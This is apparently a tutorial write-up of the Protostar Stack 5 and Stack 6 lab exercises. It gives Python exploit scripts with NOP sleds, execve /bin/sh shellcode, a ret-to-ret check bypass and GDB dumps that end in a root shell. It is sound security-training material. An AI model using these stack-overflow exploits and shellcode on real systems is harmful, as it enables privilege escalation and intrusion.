0x80483da <main+22>: ret
0x80483db: nop
0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11 in stack5/stack5.c
# and si and si(gdb) si
Cannot access memory at address 0x53535357
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7c0: 0x59595959 0x5a5a5a5a 0xb7ffef00 0x08048232
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x0ff0d8d4 0x25a7cec4 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048310
0xbffff810: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff820: 0x00000001 0x08048310 0x00000000 0x08048331
0x54545454: Error while running hook_stop:
Cannot access memory at address 0x54545454
0x54545454 in ?? ()

As you can see here our offset is still 76 bytes like last time. Now let us find the address we need to return to. As we know esp register contains the address to the top of the Stack so why not overwrite that return address such that it returns to the top of the Stack.

So the return address of the Stack which we have found is 0xbffff7b0 and if you remeber what I said about the call function which is next to the return address to execute what we give. Now let us see if you can execute things on the Stack.

in python on /tmp directory

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\xb0\xf7\xff\xbf" #0xbffff7b0, we are returning to the stack
payload = "\xcc" * 4
print (offset+payload)

now if you run it in gdb you will get

Program received signal SIGILL, Illegal instruction.
eax 0xbffff7df -1073743905
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0xbffff7b6 0xbffff7b6
eflags 0x210a82 [ SF IF OF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0xcccccccc 0xbffff800 0xbffff85c 0xb7fe1848
0xbffff7c0: 0xbffff810 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x585b7883 0x720c6e93 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048310
0xbffff810: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff820: 0x00000001 0x08048310 0x00000000 0x08048331
0xbffff7b6: (bad)
0xbffff7b7: mov edi,0xbffff85c
0xbffff7b6 in ?? ()
(gdb)
Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.
Error while running hook_stop:
The program has no registers now.

Hmmm well int3 opcode has executed!! But why are we getting Illegal instruction?? Lets quit gdb and execute it:

user@protostar/opt/protostart/bin$ python /tmp/exp1.py | ./stack5
Floating point exception

What?!?!?! Lets execute it in /tmp directory

user#protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack5
Trace/breakpoint trap

**Please note that it may differ from various messages of illegal instruction to this, but ultimately they are not the same in different directories.

Well we got it!! But why is it that when we execute the same thing in different directories do we get different outputs. Shouldn’t it be the same??? Lets open both of them in gdb in various directories and go to ret and print a 1000 strings of $esp or x/1000s $esp and compare them:

#directory /opt/protostar/bin
(gdb)
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0xbffff7b0 0xcccccccc 0xbffff800 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x08048232 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xfbb288fa 0xd1e59eea
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff80c: 0x08048310 0x00000000 0xb7ff6210 0xb7eadb9b
0x80483da <main+22>: ret
0x80483db: nop
0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) x/1000s $esp
#scroll down until you get here0xbffff96f: "/opt/protostar/bin/stack5"
0xbffff989: "USER=user"
0xbffff993: "SSH_CLIENT=192.168.56.1 52014 22"
0xbffff9b4: "MAIL=/var/mail/user"
0xbffff9c8: "SHLVL=1"
0xbffff9d0: "OLDPWD=/home/user"
0xbffff9e2: "HOME=/home/user"
0xbffff9f2: "SSH_TTY=/dev/pts/0"
0xbffffa05: "LOGNAME=user"
0xbffffa12: "_=/usr/bin/gdb"
0xbffffa21: "COLUMNS=140"
0xbffffa2d: "TERM=xterm-256color"
0xbffffa41: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
---Type <return> to continue, or q <return> to quit---
0xbffffa7f: "LANG=en_US.UTF-8"
0xbffffa90: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffffb58: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffffc20: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
0xbffffce8: ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
0xbffffdb0: "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
0xbffffe78: "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
0xbfffff40: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff80: "SHELL=/bin/sh"
0xbfffff8e: "PWD=/opt/protostar/bin"
0xbfffffa5: "SSH_CONNECTION=192.168.56.1 52014 192.168.56.101 22"
0xbfffffd9: "LINES=37"
0xbfffffe2: "/opt/protostar/bin/stack5"

Now if we just look at this we can see that these are all environmental variables and parameters. You can see that Stack 5 program’s stack starts at 0xbfffffe2. Now lets look at the same program in another directory:

#/tmp directory
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7bc 0xbffff7bc
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7bc: 0xbffff7b0 0xcccccccc 0xbffff800 0xbffff86c
0xbffff7cc: 0xb7fe1848 0xbffff820 0xffffffff 0xb7ffeff4
0xbffff7dc: 0x08048232 0x00000001 0xbffff820 0xb7ff0626
0xbffff7ec: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7fc: 0x00000000 0xbffff838 0xfb6b4697 0xd13cb087
0xbffff80c: 0x00000000 0x00000000 0x00000000 0x00000001
0x80483da <main+22>: ret
0x80483db: nop
0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11 in stack5/stack5.c
#If you look back at the other gdb output from the /opt/protostar/bin directory it will have another address. What?!?!(gdb) x/1000s $esp
0xbffff97d: "/opt/protostar/bin/stack5"
0xbffff997: "USER=user"
0xbffff9a1: "SSH_CLIENT=192.168.56.1 52016 22"
0xbffff9c2: "MAIL=/var/mail/user"
0xbffff9d6: "SHLVL=1"
0xbffff9de: "OLDPWD=/home/user"
0xbffff9f0: "HOME=/home/user"
0xbffffa00: "SSH_TTY=/dev/pts/1"
0xbffffa13: "LOGNAME=user"
0xbffffa20: "_=/usr/bin/gdb"
0xbffffa2f: "COLUMNS=140"
0xbffffa3b: "TERM=xterm-256color"
0xbffffa4f: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0xbffffa8d: "LANG=en_US.UTF-8"
0xbffffa9e: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca---Type <return> to continue, or q <return> to quit---
=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffffb66: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffffc2e: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
0xbffffcf6: ":*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4"...
0xbffffdbe: "v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*."...
0xbffffe86: "yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;3"...
0xbfffff4e: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff8e: "SHELL=/bin/sh"
0xbfffff9c: "PWD=/tmp"
0xbfffffa5: "SSH_CONNECTION=192.168.56.1 52016 192.168.56.101 22"
0xbfffffd9: "LINES=37"
0xbfffffe2: "/opt/protostar/bin/stack5"

Hey /opt/protostar/bin/stack5 starts at the same address — 0xbfffffe2. Lets take a better look. Scan up and check the environment variable for PWD. We see for the PWD=/opt/protostar/bin is 0xbfffff8e and for PWD=/tmp is 0xbfffff9c. So we can see here that due to the difference in directories for the PWD environement variable they take different amount of space on the stack causing a change in the addresses.

How do we stop this?? You could unset all env in gdb such as:

(gdb) unset env

or tell the Shell to take our all environment variable for a program like:

shell $ env -i ./my-program 

But there is another easier way, a simple addition to our existing script. A nopslide. A nop is a intel instruction opcode of 0x90909090 which means no operation. Thus nothing happens and you can just fly over the environment variables. Lets add it to our existing script:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\xb0\xf7\xff\xbf" #0xbffff7b0, we are returning to the stack
payload = "\x90" * 100 + "\xcc" * 4
print (offset+payload)

Now save and quit now let us go to the /opt/protostar/bin directory where out gdb is open adn re run it and let us go to ‘ret’

eax      0xbffff760    -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0xbffff7b0 0x90909090 0x90909090 0x90909090
0xbffff7bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7dc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7ec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7fc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff80c: 0x90909090 0x90909090 0xcccccccc 0xb7eadb00
0x80483da <main+22>: ret
0x80483db: nop
0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) c
Continuing.
Program received a signal SIGTRAP. Trace/breakpoint trap.

Well it works in gdb there. What about out of it??

user@protostar:/tmp$ python ./exp1.py | /opt/protostar/bin/stack5
Trace/breakpoint trap

Well now it works. Now we need to execute shellcode to escelate privileges, we can use shellcode from shellstorm for x86 which executes /bin/sh. I took this shellcode: http://shell-storm.org/shellcode/files/shellcode-811.php : here is what the code looks like:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

The shellcode which I have to copy is the hex values and we add that instead of \xcc. Now our script will look like this:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\xb0\xf7\xff\xbf" #0xbffff7b0, we are returning to the stack
nopslide = "\x90" * 100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print (offset+eip+nopslide+payload)

Now save and quit and run this in gdb — /opt…

(gdb) run </tmp/exp1
Starting program: /opt/protostar/bin/stack5 </tmp/exp1
Executing new program: /bin/dash
Program exited normally

Hmmm the program executed as we can see that /bin/dash was done but we do not have anything. Lets try it in the other directory:

user@protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack5
user@protostar:/tmp$

Hmmm that is weird. We did everything correctly and still nothing happened. Do you know why??

It is because when the shell is executed due to no input the pipe is immediately closed. So we can keep the pipe open using cat

user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
touch /tmp/file

YAY!!!! WE DID IT!!! We finally escelated our privileges to root. Yay!!! hooray!!!

STACK 6:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();



}

This is the C program from Stack 6 program. Now lets analyze the program.

We see that main() is calling another function called getpath(). Now lets look at getpath():

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

As we can see it takes an input ‘gets’ it to the buffer and then there is a __builtin_return_address(0). This gets the return address of ‘ret’ and stores it on the variable ret. The “IF” statement puts a restriction on the address which start with 0xbf as you can see it immediately exits. Lets check if our exploit still works by offsetting it with an extra 4 bytes due to the new unsigned int.

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
eip = "\xb0\xf7\xff\xbf" #0xbffff7b0, we are returning to the stack
nopslide = "\x90" * 100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print (offset+eip+nopslide+payload)
user@protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack6
input path please: bzzzt (0xbffff7b0)

As we can see that it exits immediately.
Lets check what is at 0xbfXXXXXX

gdb /opt/protostar/bin/stack6
(gdb) set disassembly-flavor intel
(gdb) b*getpath
(gdb) r
(gdb) info proc map #this lets us look at the memory
process 1710
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]

AHHHHHhhhh. So all the Stack addresses start with 0xbf, so that means we can’t return back to the stack. DAMMIT!!!.

Ok we can do this!!!. Now let us think about it. So we can control the return address as long as it does not go to the stack. Hmmm let us disassemble getpath() to get more ideas.

(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret

As we know when ‘ret’ happens it calls and pops the address on the return pointer. What if we called ‘ret’ again such that it bypass the if condition?

What if we wrote a code like this. Where we ovewrite the return address with the address of the ‘ret’ itself.

What happens is that the ‘ret’ calls and pops the address 0x080484f9. Thus it goes back to ‘ret’ again.

Thus as you can see here. The address is popped off the stack and is called. Thus it goes to ‘ret’ again. Thus it bypasses the “IF” statement and the next time the ‘ret’ happens the stack address is now at esp and thus is called.

Now that we have understood it. Now let us find the stack address to return to. Make sure to define hook-stop, b*getpath, etc.

.

.

.

.

.

(gdb) run#now let us get to 'ret' remember the input to gets should be really longeax      0x6c  108
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484f9 0x80484f9 <getpath+117>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7bc: 0xb7004141 0x00000001 0xbffff864 0xbffff86c
0xbffff7cc: 0xb7fe1848 0xbffff820 0xffffffff 0xb7ffeff4
0xbffff7dc: 0x080482a1 0x00000001 0xbffff820 0xb7ff0626
0xbffff7ec: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7fc: 0x00000000 0xbffff838 0x2c179537 0x06406327
0xbffff80c: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff81c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
# si an si(gdb) si
Cannot access memory at address 0x41414145
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
eax 0x6c 108
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x210292 [ AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0xb7004141
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x080482a1
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff800: 0xbffff838 0x2c179537 0x06406327 0x00000000
0xbffff810: 0x00000000 0x00000000 0x00000001 0x080483d0
0xbffff820: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0x41414141: Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

Ok so our Stack address is the same as before. Good no change to the exploit. Now let us make sure that our exploit works. Change the exploit such that you add for the 1st ret address and the 2nd ret address which is the stack addres and replace the payload with opcode int cc and take out the nopslide since we will be doing it in the same directory.

Wait wait wait. Now if you remember the stack address is 0xbffff7b0 but wont this point to the same area as were the address of the ‘ret’ was popped off?? well it could be. We’ll increase the value of the stack address which we put into our exploit as 0xbffff7c0 such that it will hit the \xcc immediately.

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = "\xf9\x84\x04\x08" #0x080484f9
eip = "\xc0\xf7\xff\xbf" #0xbffff7c0, we are returning to the stack
cc = "\xCC" * 100
#payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print (offset+ret+eip+cc)

Now that is our script now lets fire it up in gdb

(gdb) run </tmp/exp1#now lets go to reteax      0xc6  198
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80484f9 0x80484f9 <getpath+117>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0x080484f9 0xbffff7c0 0xcccccccc 0xcccccccc
0xbffff7bc: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7cc: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7dc: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7ec: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7fc: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff80c: 0xcccccccc 0xcccccccc 0xcccccccc 0x00000000
0xbffff81c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
Breakpoint 2, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
(gdb) ni
eax 0xc6 198
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80484f9 0x80484f9 <getpath+117>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0xbffff7c0 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7c0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7e0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7f0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff800: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff810: 0xcccccccc 0xcccccccc 0x00000000 0x080483d0
0xbffff820: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
Breakpoint 2, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c

As you can see we hit the breakpoint twice and as you can see we have a stack address next.

(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
eax 0xc6 198
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b4 0xbffff7b4
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0xbffff7c1 0xbffff7c1
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b4: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7c4: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7d4: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7e4: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff7f4: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff804: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff814: 0xcccccccc 0x00000000 0x080483d0 0x00000000
